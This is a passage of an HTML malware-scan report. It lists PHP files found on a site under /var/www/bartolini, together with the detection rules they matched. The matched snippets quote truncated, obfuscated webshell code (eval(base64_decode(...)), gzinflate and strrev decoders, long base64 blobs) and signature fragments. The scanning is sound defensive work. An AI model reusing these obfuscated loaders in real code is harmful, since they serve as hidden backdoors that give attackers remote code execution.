</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 162cf671 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 162cf671)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">hcnJheV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 407651f7 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 407651f7)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">wcmludG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 4a069524 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 4a069524)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">aW5jbHVkZ</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7186bb8d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7186bb8d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RfUE9TV</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">N0cl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7f5d33bf <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7f5d33bf)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">JF9SRVFVRVNU</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">leGVjK</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 963e968a <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 963e968a)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">pbmNsdWRl</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign a408f408 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: a408f408)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">c3Rhd</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3Blb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Z1bmN0aW9u</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">VjaG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign e6546205 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: e6546205)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">kX1BPU1</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ee1cb326 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ee1cb326)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">9wZW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ff4f5344 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ff4f5344)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">FycmF5X</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_401").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/nuhlj.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 70.78 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 23:44:01</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 23:44:01</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 8</span><br><table id="file_402" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOExMemc3NS9...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 3</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5F</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">$o</span><span style="color: #007700">(</span><span style="color: #DD0000">"CiRzdHQxID0gIlN5MUx6TkZRdDdkVDEwdXZLczFMenM4dEtFb3RMdFpJcjhyTVM4dEpMRWxGWWlVbEZxZVx4NjFtXHg2M1NucFx4NDNceDYybnA2UnFGSlx4NjNVRlx4NjFXV1x4NjFceDYxZ1VsNVFZXHg2MUlLXHg0Mk5RXHg0MVx4M2QiOwokc3R0MCA9ICJiZTRINVB3L3ovL3IvLzc3N3Y5L1c5MzE4bjEvZlovNTkvM3lmVy8vMjlmODUvTjkzODNvZmY4OUd2Ny81enc5aUgxTmZ6ZkdvdHNmS2Z2K3A5dWdpMC9wUDdzLy9MVS82LzN2ZmhmLy9IeWVrblgvWXk3Q0ZmZnFZTjRoTDk1WDRIM25xRGovWDRMNSszLy9NelRYL3o3RzlmTzY5eGZkOXJ2UCtkODN5K052L24vRnZEOWY2cDVEQVAwSzd2Ly9mWS9KUjczUGovL2kvc3YvL1FmZTVMT3k0MXNIOEx...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev eval_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">laVE</span>
</span>
</code></code></td></tr><tr><td><p><b>Function strrev exec_strrev <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">cExE</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">YmFzZTY0</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d30fc49e <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d30fc49e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">b3BLb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 4</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">"base64_decode"</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_402").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/slltq.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-04-08 18:55:01</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-04-08 18:55:01</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_403" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function str_rot13 exec_str_rot13 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Encoded Function `exec`</p><p><i>[<a href="https://www.php.net/exec" target="_blank" class="text-primary">https://www.php.net/exec</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">RkRP</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 085a0329 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 085a0329)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">iYXNlNj</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 0f37c730 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 0f37c730)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">mdW5jdGlvb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 11413268 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 11413268)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 7830f7a6 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 7830f7a6)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">nemluZmxhdG</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 80e70adc <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 80e70adc)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700"><?</span><span style="color: #0000BB">php<br /></span><span style="color: #007700">eval</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 91535293 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 91535293)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ldmFs</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign d97f004d <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: d97f004d)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">ZXZhb</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign de12c454 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: de12c454)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">V2YW</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign f9dc0a55 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: f9dc0a55)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'base64_decode'</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_403").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/sijub.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 52.73 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-31 20:53:27</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-31 20:53:27</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 12</span><br><table id="file_404" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'4tNCPdUMNHGp37TLg3k6pPY5CIf6KWFdMqFEChJKXgZbi1BELpXmoM6ztMvoPnWg4eQUvTkc3PmAcwmls4bLBEQTSX1ckJGas66NtmwXAaljK4uUMePcJnGVpTYHwRtF3uTXMQDYJ2O8umyGtGsMsdkHxFjTSqmY1beQbJ7x0Ls9WyJ6ASK9QrEzGTf7IdPIPre8mqhI9eodyFMNj9YGRJDn4CcfJ2kg2eIoDbWPphXTbRPGymWPdoz2ZTpl06XQOtLLx7gsxvK3Irk9BTH1PqIsFBobKuAAvoc0SoCKu93DeTNctdZDxvZmgGsswABEIsOaUOsA2MUKfu9SxAH8JNoIXBOCmP6yV9cgTI617pcLxXozLLp4CBgY6DKMgckypa8MEWDrpi0uDksDJcp9nY1MVP05l9w4HNHAr3s0crA8C0jhvHHHTYlLPxeNcFoVSCkMXiWORKVrbYrMaYRShWQq0pJFhNkC7vDJ1G0TBv51pj82gTS...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit eval_base64 <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution), through Base64 text, allow remote attackers to execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit execution <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>RCE (Remote Code Execution) allow remote attackers to execute PHP code on the target machine via HTTP</p><p><i>[<a href="https://cwe.mitre.org/data/definitions/77.html" target="_blank" class="text-primary">https://cwe.mitre.org/data/definitions/77.html</a>, <a href=" https://cwe.mitre.org/data/definitions/78.html" target="_blank" class="text-primary"> https://cwe.mitre.org/data/definitions/78.html</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #DD0000">'ZnVuY3Rpb24gXzZaeXMoJF90V00xZ1k3aU8peyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczNjM2MzAnKSkpOyRfdFdNMWdZN2lPPXN1YnN0cigkX3RXTTFnWTdpTywoaW50KShoZXgyYmluKCczMCcpKSwoaW50KShoZXgyYmluKCcyZDM2MzYzNicpKSk7cmV0dXJuICRfdFdNMWdZN2lPO30kX21FaDh2PSdfNlp5cyc7JF94d3luVU9MPSdiYXNlNjRfZGVjb2RlJztmdW5jdGlvbiBfcjVNZTBGTnJoODNVWTl4WnQoJF9jQ3pGZHIpe2dsb2JhbCAkX21FaDh2O2dsb2JhbCAkX3h3eW5VT0w7cmV0dXJuIHN0cnJldihnemluZmxhdGUoJF94d3luVU9MKF82WnlzKCRfY0N6RmRyKSkpKTt9ZXZhbChldmFs...</span>
</span>
